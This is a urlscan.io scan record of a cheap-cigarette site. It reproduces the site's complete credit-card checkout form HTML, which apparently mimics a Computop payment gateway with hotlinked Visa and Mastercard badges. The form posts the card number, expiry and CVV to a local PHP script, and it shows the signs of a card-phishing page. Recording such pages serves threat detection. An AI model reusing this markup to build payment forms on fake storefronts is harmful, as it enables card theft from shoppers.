cheap-cigarettess.cigspay.com Open in urlscan Pro
156.67.70.93  Public Scan

Form analysis
1 forms found in the DOM

POST payment-connec.php

<form method="POST" action="payment-connec.php" id="checkoutForm" class="credit-card-form__form js-card-form" autocomplete="on">
  <div id="app">
    <div class="credit-card w-full sm:w-auto shadow-lg mx-auto rounded-xl bg-white">
      <div class="flex flex-col justify-center">
        <div class="card-list">
          <div class="card-item" v-bind:class="{ '-active' : isCardFlipped }">
            <div class="card-item__side -front">
              <div class="card-item__focus" v-bind:class="{'-active' : focusElementStyle }" v-bind:style="focusElementStyle" ref="focusElement"></div>
              <div class="card-item__cover">
                <img v-bind:src="'https://raw.githubusercontent.com/muhammederdem/credit-card-form/master/src/assets/images/' + currentCardBackground + '.jpeg'" class="card-item__bg">
              </div>
              <div class="card-item__wrapper">
                <div class="card-item__top">
                  <img src="https://raw.githubusercontent.com/muhammederdem/credit-card-form/master/src/assets/images/chip.png" class="card-item__chip">
                  <div class="card-item__type">
                    <transition name="slide-fade-up">
                      <img v-bind:src="'/assets/img/cards/' + getCardType + '.png'" v-if="getCardType" v-bind:key="getCardType" alt="" class="card-item__typeImg">
                    </transition>
                  </div>
                </div>
                <label for="cardNumber" class="card-item__number" ref="cardNumber">
                  <template v-if="getCardType === 'amex'">
                    <span v-for="(n, $index) in amexCardMask" :key="$index">
                      <transition name="slide-fade-up">
                        <div class="card-item__numberItem" v-if="$index > 4 &amp;&amp; $index < 14 &amp;&amp; cardNumber.length > $index &amp;&amp; n.trim() !== ''">*</div>
                        <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }" :key="$index" v-else-if="cardNumber.length > $index">
                          {{cardNumber[$index]}}
                        </div>
                        <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }" v-else="" :key="$index + 1">{{n}}</div>
                      </transition>
                    </span>
                  </template>
                  <template v-else="">
                    <span v-for="(n, $index) in otherCardMask" :key="$index">
                      <transition name="slide-fade-up">
                        <div class="card-item__numberItem" v-if="$index > 4 &amp;&amp; $index < 15 &amp;&amp; cardNumber.length > $index &amp;&amp; n.trim() !== ''">*</div>
                        <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }" :key="$index" v-else-if="cardNumber.length > $index">
                          {{cardNumber[$index]}}
                        </div>
                        <div class="card-item__numberItem" :class="{ '-active' : n.trim() === '' }" v-else="" :key="$index + 1">{{n}}</div>
                      </transition>
                    </span>
                  </template>
                </label>
                <div class="card-item__content">
                  <label for="cardName" class="card-item__info" ref="cardName">
                    <div class="card-item__holder">Holder Card</div>
                    <transition name="slide-fade-up">
                      <div class="card-item__name" v-if="cardName.length" key="1">
                        <transition-group name="slide-fade-right">
                          <span class="card-item__nameItem" v-for="(n, $index) in cardName.replace(/\s\s+/g, ' ')" v-if="$index === $index" v-bind:key="$index + 1">{{n}}</span>
                        </transition-group>
                      </div>
                      <div class="card-item__name" v-else="" key="2">Full Name</div>
                    </transition>
                  </label>
                  <div class="card-item__date" ref="cardDate">
                    <label for="cardMonth" class="card-item__dateTitle">MM/YY</label>
                    <label for="cardMonth" class="card-item__dateItem">
                      <transition name="slide-fade-up">
                        <span v-if="cardMonth" v-bind:key="cardMonth">{{cardMonth}}</span>
                        <span v-else="" key="2">MM</span>
                      </transition>
                    </label> / <label for="cardYear" class="card-item__dateItem">
                      <transition name="slide-fade-up">
                        <span name="" v-if="cardYear" v-bind:key="cardYear">{{String(cardYear).slice(2,4)}}</span>
                        <span v-else="" key="2">YY</span>
                      </transition>
                    </label>
                  </div>
                </div>
              </div>
            </div>
            <div class="card-item__side -back">
              <div class="card-item__cover">
                <img v-bind:src="'https://raw.githubusercontent.com/muhammederdem/credit-card-form/master/src/assets/images/' + currentCardBackground + '.jpeg'" class="card-item__bg">
              </div>
              <div class="card-item__band"></div>
              <div class="card-item__cvv">
                <div class="card-item__cvvTitle">CVC/CVV</div>
                <div class="card-item__cvvBand">
                  <span v-for="(n, $index) in cardCvv" :key="$index"> * </span>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <ul class="flex justify-center items-center">
        <li class="mx-2">
          <img class="w-16" src="https://www.computop-paygate.com/Templates/imagesaboutYou_desktop/images/computop.png" alt="">
        </li>
        <li class="mx-2">
          <img class="w-14" src="https://www.computop-paygate.com/Templates/imagesaboutYou_desktop/images/verified-by-visa.png" alt="">
        </li>
        <li class="ml-5">
          <img class="w-7" src="https://www.computop-paygate.com/Templates/imagesaboutYou_desktop/images/mastercard-id-check.png" alt="">
        </li>
      </ul>
      <div class="p-4">
        <div class="card-input">
          <label for="cardnumber" class="card-input__label">Card Number</label>
          <input type="text" placeholder="#### #### #### ####" name="card_number" id="cardNumber" class="card-input__input" v-mask="generateCardNumberMask" v-model="cardNumber" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardNumber"
            autocomplete="off" required="">
        </div>
        <div class="card-input">
          <label for="cardname" class="card-input__label">Holder Card</label>
          <input type="text" placeholder="Full Name" name="cardholder" id="cardName" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" required="">
        </div>
        <div class="card-form__row">
          <div class="card-form__col">
            <div class="card-form__group">
              <label for="cardmonth" class="card-input__label">MM/YY</label>
              <select name="expdate1" class="card-input__input -select" id="cardMonth" v-model="cardMonth" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardDate" required="">
                <option value="" disabled="" selected="">MM</option>
                <option v-bind:value="n < 10 ? '0' + n : n" v-for="n in 12" v-bind:disabled="n < minCardMonth" v-bind:key="n">
                  {{formatMonth(n)}}
                </option>
              </select>
              <select name="expdate2" class="card-input__input -select" id="cardYear" v-model="cardYear" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardDate" required="">
                <option value="" disabled="" selected="">YY</option>
                <option v-bind:value="$index + minCardYear" v-for="(n, $index) in 12" v-bind:key="n">
                  {{$index + minCardYear}}
                </option>
              </select>
            </div>
          </div>
          <div class="card-form__col -cvv">
            <div class="card-input">
              <label for="cardCvv" class="card-input__label">CVC/CVV</label>
              <input type="text" placeholder="***" name="cvc2" class="card-input__input" id="cardCvv" v-mask="'####'" maxlength="4" v-model="cardCvv" v-on:focus="flipCard(true)" v-on:blur="flipCard(false)" autocomplete="off" required="">
            </div>
          </div>
        </div>
      </div>
      <div class="p-4">
        <div class="credit-card-form__submit">
          <input type="submit" class="card-form__button" name="submit" value="Pay  ">
          <input type="hidden" name="solt"
            value="eyJvcmRlcl9pZCI6bnVsbCwidG90YWwiOm51bGwsImN1cnJlbmN5IjpudWxsLCJiaWxsaW5nX2ZpcnN0X25hbWUiOm51bGwsImJpbGxpbmdfbGFzdF9uYW1lIjpudWxsLCJiaWxsaW5nX2FkZHJlc3NfMSI6bnVsbCwiYmlsbGluZ19hZGRyZXNzXzIiOm51bGwsImJpbGxpbmdfY291bnRyeSI6bnVsbCwiYmlsbGluZ19jaXR5IjpudWxsLCJiaWxsaW5nX3N0YXRlIjpudWxsLCJiaWxsaW5nX3Bvc3Rjb2RlIjpudWxsLCJiaWxsaW5nX3Bob25lIjpudWxsLCJiaWxsaW5nX2VtYWlsIjpudWxsLCJzaG9wIjoiVG9iYWNjbyBIYXZlbiJ9">
        </div>
      </div>
    </div>
  </div>
</form>

Text Content

*
{{cardNumber[$index]}}
{{n}}
*
{{cardNumber[$index]}}
{{n}}
Holder Card
{{n}}
Full Name
MM/YY {{cardMonth}} MM / {{String(cardYear).slice(2,4)}} YY
CVC/CVV
*
 * 
 * 
 * 

Card Number
Holder Card
MM/YY MM {{formatMonth(n)}} YY {{$index + minCardYear}}
CVC/CVV